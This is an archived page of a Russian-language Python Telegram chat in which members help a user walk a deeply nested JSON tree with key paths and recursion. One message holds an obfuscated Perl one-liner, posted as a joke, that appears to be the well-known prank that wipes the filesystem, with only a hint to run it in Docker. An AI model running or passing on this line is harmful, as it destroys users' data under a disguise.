@ru_python

Страница 6810 из 9768
Alexey
22.10.2018
16:43:40
:D

Евгений
22.10.2018
16:44:02
я 5 таких написал и решил что что то делаю не так
двух обычно достаточно, чтобы задуматься) Ну ничего, это придет с опытом.

Nikolay
22.10.2018
16:44:04
catch KeyError

Sergey
22.10.2018
16:44:31
лесенка

Google
Dark
22.10.2018
16:44:36
Что это блядь такое
print(screen['hierarchy']['node'][0]['node']['node']['node'][0]['node'][1]['resource']) print(screen['hierarchy']['node'][0]['node']['node']['node'][0]['node'][2]['resource']) print(screen['hierarchy']['node'][0]['node']['node']['node'][0]['node'][3]['resource']) вот так надо по всем

Nikolay
22.10.2018
16:45:09
Потом мне это переписывать.

Пощади

Sergey
22.10.2018
16:45:16
Например? Нужно цена/качество
ovh do scaleway ещё посмотри

Dark
22.10.2018
16:45:52
Потом мне это переписывать.
я за советом только) если не дадие пойду так писать

вообще я хотел генератор этой лесинки написать еще)

Nikolay
22.10.2018
16:47:13
Сделай keypath (что-нибудь iterable), в цикле по нему иди

Nikolay
22.10.2018
16:51:45
не понял
если одни дикты или листы

Nikolay
22.10.2018
16:52:03
А лучше пересмотри исходные данные

Tishka17
22.10.2018
16:53:09
if type() is dict это сильно

Google
Tishka17
22.10.2018
16:53:26
И вообще что за жесть?

Dark
22.10.2018
16:53:26
if type() is dict это сильно
за то работает)

Nikolay
22.10.2018
16:53:32
)

)))00

Dark
22.10.2018
16:53:46
я не хотел try юзать

Маришка
22.10.2018
16:54:53
я не хотел try юзать
для этого есть 1. .get 2. isinstance

Tishka17
22.10.2018
16:55:16
за то работает)
Вот этот код тоже работает: cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

Nikolay
22.10.2018
16:55:49
?

Tishka17
22.10.2018
16:57:35
набор смайликов
Надумаешь запускать - рекомендую это сделать в докере

Nikolay
22.10.2018
16:58:37
Эх молодеш

TpouHuK
22.10.2018
16:59:02
зачем
На самом деле там баг

Eldar
22.10.2018
16:59:02
@den1523 а в бегинерсы не хочешь пойти?

TpouHuK
22.10.2018
16:59:05
Увидишь ?

Tishka17
22.10.2018
16:59:08
Посмотри библиотеку dpath
Я уже вроде однострочник вместо этой библиотеки кидал в чат

Google
Маришка
22.10.2018
16:59:18
Eldar
22.10.2018
16:59:30
и поэтому пришел сюда

логично

Nikolay
22.10.2018
16:59:44
?

Маришка
22.10.2018
16:59:49
он же ещё ворвался в руд и флуд

только в руде благополучно получил ро

Tishka17
22.10.2018
17:00:55
Ну может двухстрочник

Dark
22.10.2018
17:01:06
Он там заебал
я заебал еще вчера и мне бан дали

а акк мне лень регать

Tishka17
22.10.2018
17:01:41
Это если без массивов

А что, сложная функция? def get(obj, path) for x in path: obj=obj.get(x) return obj

Nikolay
22.10.2018
17:01:44
Косяит один, а виноват я

Aragaer
22.10.2018
17:01:50
А твой channels требует модуль fctrl, это только в 3.7 питоне есть ?
Вроде нет - кажется мой channels нормально работает в 3.4. Ну да, 3.7 у меня вообще нету нигде.

Aragaer
22.10.2018
17:02:10
а, что POSIX да, надо написать

но опять же, у меня другого нету под рукой

Dark
22.10.2018
17:02:29
Ну может двухстрочник
главное не лесинка на 30 строк)

TpouHuK
22.10.2018
17:05:20
Tishka17
22.10.2018
17:05:37
Я бы щас даже заменил на def get(obj, path): for x in path: obj=obj[x] return obj И оно волшебным образом начинает работать с массивами

Google
Tishka17
22.10.2018
17:06:35
Даже не близко к dpath
А что, надо path передавать строкой и split делать?

Maxim robox
22.10.2018
17:07:11
Tishka17
22.10.2018
17:07:20
А ему это надо?

Вообще, для обхода дерева самое то рекурсия

А это все ему не нужно

Admin
ERROR: S client not available

Сергей
22.10.2018
17:11:27
одновременно в чатике девопс и тут пост был

может ряды на предмет ботов надо того?

Maxim robox
22.10.2018
17:15:23
А ему это надо?
Скорее всего да. Но он пока об этом не знает.

Eldar
22.10.2018
17:15:29
крч позовите меня когда Dark вас достанет

TpouHuK
22.10.2018
17:15:58
Это взять следующий предмет из словаря ?

По списку ?

Dark
22.10.2018
17:16:41
я просто не пойму как лесенку в это уместить)

TpouHuK
22.10.2018
17:17:04
Там проверяется, а потом делается. ?

Dark
22.10.2018
17:17:38
Nikolay
22.10.2018
17:17:46
Google
TpouHuK
22.10.2018
17:17:53
А в Питоне сначала делаем, ловим исключение, и потом работать ?

Nikolay
22.10.2018
17:18:24
и какая там глубина максимальная?

TpouHuK
22.10.2018
17:18:44
Воо

TpouHuK
22.10.2018
17:19:11
Если там есть элемент, если там есть ключ. В Питоне не так.

Nikolay
22.10.2018
17:19:26
30
можешь взять просто список, в котором лежит то, что тебе нужно, и идти по нему

TpouHuK
22.10.2018
17:19:32
30
А что в else? ?

Nikolay
22.10.2018
17:19:38
но вообще лучше не делать запросы, которые возвращают такое говно

или не работать с такими api

TpouHuK
22.10.2018
17:20:26
Какие названия переменных, мм ?

a, aa, aaa

Tishka17
22.10.2018
17:20:38
def walk(obj): If not obj: return if isinstance(obj, dict): yield from walk(obj.get('node')) elif isinstance(obj, list): for x in obj: yield from walk(x) else: yield obj for x in walk(screen): print(x)

Nikolay
22.10.2018
17:21:02
что за волк

Tishka17
22.10.2018
17:21:20
Рекурсивный обход его долбаного дерева

@den1523

Прототип. Бери, допиливай, пользуйся

Страница 6810 из 9768